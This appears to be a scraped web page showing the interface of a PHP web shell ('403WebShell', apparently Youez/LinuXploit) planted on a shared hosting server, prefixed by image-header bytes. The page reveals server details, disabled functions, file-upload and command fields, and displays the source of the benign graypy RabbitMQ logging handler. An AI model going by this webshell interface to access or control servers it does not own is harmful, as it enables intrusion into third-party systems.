JFIF ( %!1"%)-...383.7(-.+  -%&--------------------------------------------------"J !1"AQaq2BR#r3Sbs4T$Dd(!1"2AQaq# ?q& JX"-` Es?Bl 1( H6fX[vʆEiB!j{hu85o%TI/*T `WTXط8%ɀt*$PaSIa9gkG$t h&)ٞ)O.4uCm!w*:K*I&bDl"+ ӹ=<Ӷ|FtI{7_/,/T ̫ԷC ȷMq9[1w!R{ U<?СCԀdc8'124,I'3-G s4IcWq$Ro瓩!"j']VӤ'B4H8n)iv$Hb=B:B=YݚXZILcA g$ΕzuPD? !զIEÁ $D'l"gp`+6֏$1Ľ˫EjUpܣvDت\2Wڰ_iIْ/~'cŧE:ɝBn9&rt,H`*Tf֙LK$#d "p/n$J oJ@'I0B+NRwj2GH.BWLOiGP W@#"@ę| 2@P D2[Vj!VE11pHn,c~T;U"H㤑EBxHClTZ7:х5,w=.`,:Lt1tE9""@pȠb\I_IƝpe &܏/ 3, WE2aDK &cy(3nI7'0W էΠ\&@:נ!oZIܻ1j@=So LJ{5UĜiʒP H{^iaH?U2j@<'13nXkdP&%ɰ&-(<]Vlya7 6c1HJcmǸ!˗GB3Ԏߏ\=qIPNĉA)JeJtEJbIxWbdóT V'0 WH*|D u6ӈHZh[8e  $v>p!rIWeB,i '佧 )g#[)m!tahm_<6nL/ BcT{"HSfp7|ybi8'.ih%,wm  403WebShell
403Webshell
Server IP : 91.108.119.244  /  Your IP : 216.73.217.26
Web Server : LiteSpeed
System : Linux id-dci-web1986.main-hosting.eu 5.14.0-611.26.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Jan 29 05:24:47 EST 2026 x86_64
User : u686484674 ( 686484674)
PHP Version : 8.0.30
Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /opt/alt/python311/lib/python3.11/site-packages/graypy/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /opt/alt/python311/lib/python3.11/site-packages/graypy//rabbitmq.py
#!/usr/bin/env python
# -*- coding: utf-8 -*-

"""Logging Handler integrating RabbitMQ and
Graylog Extended Log Format (GELF)"""

import json
from logging import Filter
from logging.handlers import SocketHandler

from amqplib import client_0_8 as amqp  # pylint: disable=import-error

from graypy.handler import BaseGELFHandler

try:
    from urllib.parse import urlparse, unquote
except ImportError:
    from urlparse import urlparse
    from urllib import unquote


_ifnone = lambda v, x: x if v is None else v


class GELFRabbitHandler(BaseGELFHandler, SocketHandler):
    """RabbitMQ / GELF handler

    .. note::

        This handler ignores all messages logged by amqplib.
    """

    def __init__(
        self,
        url,
        exchange="logging.gelf",
        exchange_type="fanout",
        virtual_host="/",
        routing_key="",
        **kwargs
    ):
        """Initialize the GELFRabbitHandler

        :param url: RabbitMQ URL (ex: amqp://guest:guest@localhost:5672/)
        :type url: str

        :param exchange: RabbitMQ exchange. A queue binding must be defined
            on the server to prevent GELF logs from being dropped.
        :type exchange: str

        :param exchange_type: RabbitMQ exchange type.
        :type exchange_type: str

        :param virtual_host:
        :type virtual_host: str

        :param routing_key:
        :type routing_key: str
        """
        self.url = url
        parsed = urlparse(url)
        if parsed.scheme != "amqp":
            raise ValueError('invalid URL scheme (expected "amqp"): %s' % url)
        host = parsed.hostname or "localhost"
        port = _ifnone(parsed.port, 5672)
        self.virtual_host = (
            virtual_host if not unquote(parsed.path[1:]) else unquote(parsed.path[1:])
        )
        self.cn_args = {
            "host": "%s:%s" % (host, port),
            "userid": _ifnone(parsed.username, "guest"),
            "password": _ifnone(parsed.password, "guest"),
            "virtual_host": self.virtual_host,
            "insist": False,
        }
        self.exchange = exchange
        self.exchange_type = exchange_type
        self.routing_key = routing_key
        BaseGELFHandler.__init__(self, **kwargs)
        SocketHandler.__init__(self, host, port)
        self.addFilter(ExcludeFilter("amqplib"))

    def makeSocket(self, timeout=1):
        return RabbitSocket(
            self.cn_args, timeout, self.exchange, self.exchange_type, self.routing_key
        )

    def makePickle(self, record):
        message_dict = self._make_gelf_dict(record)
        return json.dumps(message_dict)


class RabbitSocket(object):
    def __init__(self, cn_args, timeout, exchange, exchange_type, routing_key):
        self.cn_args = cn_args
        self.timeout = timeout
        self.exchange = exchange
        self.exchange_type = exchange_type
        self.routing_key = routing_key
        self.connection = amqp.Connection(connection_timeout=timeout, **self.cn_args)
        self.channel = self.connection.channel()
        self.channel.exchange_declare(
            exchange=self.exchange,
            type=self.exchange_type,
            durable=True,
            auto_delete=False,
        )

    def sendall(self, data):
        msg = amqp.Message(data, delivery_mode=2)
        self.channel.basic_publish(
            msg, exchange=self.exchange, routing_key=self.routing_key
        )

    def close(self):
        """Close the connection to the RabbitMQ socket"""
        try:
            self.connection.close()
        except Exception:
            pass


class ExcludeFilter(Filter):
    """A subclass of :class:`logging.Filter` which should be instantiated
    with the name of the logger which, together with its children, will have
    its events excluded (filtered out)"""

    def __init__(self, name):
        """Initialize the ExcludeFilter

        :param name: Name to match for within a :class:`logging.LogRecord`'s
            ``name`` field for filtering.
        :type name: str
        """
        if not name:
            raise ValueError("ExcludeFilter requires a non-empty name")
        Filter.__init__(self, name)

    def filter(self, record):
        return not (
            record.name.startswith(self.name)
            and (len(record.name) == self.nlen or record.name[self.nlen] == ".")
        )

Youez - 2016 - github.com/yon3zu
LinuXploit